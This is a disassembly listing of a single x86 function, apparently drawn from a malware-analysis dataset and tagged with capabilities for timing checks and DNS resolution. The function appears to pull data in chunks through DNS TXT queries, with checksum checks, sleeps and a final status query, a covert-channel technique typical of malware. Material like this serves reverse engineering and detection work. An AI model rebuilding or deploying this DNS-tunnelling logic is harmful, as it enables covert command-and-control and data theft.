Function at 0x4021a1
Capabilities:
Check for time delay via gettickcount
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
push esi
mov esi, dword [ebp + 0x1c]
mov ecx, 0xa1
mov eax, esi
push edi
cdq
idiv ecx
push dword [ebp + 0x24]
xor edi, edi
mov dword [ebp - 4], edi
mov dword [ebp - 0xc], edi
push edi
mov dword [ebp - 0x20], edi
push dword [ebp + 0x14]
mov dword [ebp - 8], edi
mov ebx, eax
inc ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x22c]
push dword [ebp + 0x14]
push dword [ebp + 8]
push eax
call fcn.00401d53
add esp, 0x18
inc esi
push esi
push 8
push dword [0x407720]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp esi, edi
mov dword [ebp - 0x10], esi
je 0x402495
call fcn.00401c1f
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0xc]
call fcn.00401d1b
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
cmp ebx, edi
mov dword [ebp + 0xc], edi
mov dword [ebp - 0x28], eax
jle 0x4023ef
mov dword [ebp - 0x1c], esi
push dword [ebp + 0x10]
cmp dword [ebp + 0x24], edi
push dword [ebp + 0x18]
push dword [ebp + 0xc]
jne 0x402266
push dword [ebp + 8]
lea eax, [ebp - 0x128]
push str._s._d._d._s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
jmp 0x40227b
lea eax, [ebp - 0x128]
push str._d._d._s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x14], edi
lea eax, [ebp - 4]
push edi
push eax
lea eax, [ebp - 0x128]
push dword [ebp - 0xc]
push 8
push 0x10
push eax
call sub.DNSAPI.dll_DnsQuery_A
test eax, eax
jne 0x4023b6
mov esi, dword [ebp - 4]
cmp esi, edi
je 0x4023b6
mov dword [ebp - 0x18], esi
jmp 0x4022b4
mov esi, dword [ebp - 0x18]
push dword [esi + 4]
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402397
cmp word [esi + 8], 0x10
jne 0x402397
cmp dword [esi + 0x18], 1
jne 0x402397
lea eax, [ebp - 8]
push eax
push dword [esi + 0x1c]
call fcn.0040102f
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
je 0x402495
cmp dword [ebp - 8], 0xdc
jg 0x402495
cmp dword [ebp - 8], 5
jl 0x402495
cmp dword [ebp - 0x14], edi
je 0x40233a
push dword [ebp + 0x24]
push dword [ebp + 0xc]
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x22c]
push dword [ebp + 0x14]
push dword [ebp + 8]
push eax
call fcn.00401d53
add esp, 0x18
mov eax, dword [ebp - 8]
lea edi, [esi + 4]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0x22c]
push edi
push eax
call fcn.00401ca9
mov eax, dword [ebp - 8]
add eax, 0xfffffffc
push eax
push edi
call fcn.00401bec
add esp, 0x14
cmp dword [esi], eax
jne 0x402493
mov eax, dword [ebp - 8]
mov dword [ebp - 0x24], 1
add eax, 0xfffffffc
push eax
push edi
push dword [ebp - 0x1c]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push esi
push 0
push dword [0x407720]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [ebp - 0x18]
xor edi, edi
mov esi, dword [esi]
cmp esi, edi
mov dword [ebp - 0x18], esi
jne 0x4022b1
push 1
push dword [ebp - 4]
call sub.DNSAPI.dll_DnsRecordListFree
cmp dword [ebp - 0x24], edi
mov dword [ebp - 4], edi
jne 0x4023d3
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xa
jge 0x402495
jmp 0x402281
push dword [ebp + 0x20]
call dword [sym.imp.KERNEL32.dll_Sleep]
inc dword [ebp + 0xc]
add dword [ebp - 0x1c], 0xa1
cmp dword [ebp + 0xc], ebx
jl 0x40223e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
push 1
pop ebx
mov esi, eax
mov eax, ebx
sub esi, dword [ebp - 0x28]
cmp dword [ebp + 0x2c], edi
je 0x40242a
cmp dword [ebp + 0x2c], 3
jge 0x402444
push edi
push dword [ebp - 0x10]
push edi
call fcn.00403d3f
add esp, 0xc
cmp eax, ebx
je 0x40243d
cmp dword [ebp + 0x2c], 2
jne 0x40243d
push dword [ebp + 0x1c]
push dword [ebp - 0x10]
push section..data
call fcn.004012bc
add esp, 0xc
cmp eax, 0xffffffff
jne 0x402444
xor eax, eax
push dword [ebp + 0x28]
push dword [ebp + 0x18]
push eax
push esi
push dword [ebp + 8]
lea eax, [ebp - 0x128]
push str._s._d._d._d._s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
lea eax, [ebp - 4]
push edi
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x128]
push 8
push 0x10
push eax
call sub.DNSAPI.dll_DnsQuery_A
test eax, eax
jne 0x40248e
cmp dword [ebp - 4], edi
je 0x40248e
push ebx
push dword [ebp - 4]
call sub.DNSAPI.dll_DnsRecordListFree
mov dword [ebp - 0x20], ebx
jmp 0x4024a1
xor edi, edi
push dword [ebp + 0xc]
push 6
call fcn.00403621
pop ecx
pop ecx
cmp dword [ebp - 0xc], edi
je 0x4024b6
push dword [ebp - 0xc]
push edi
push dword [0x407720]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [ebp - 0x10], edi
je 0x4024cb
push dword [ebp - 0x10]
push edi
push dword [0x407720]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 0x20]
pop edi
pop esi
pop ebx
leave
ret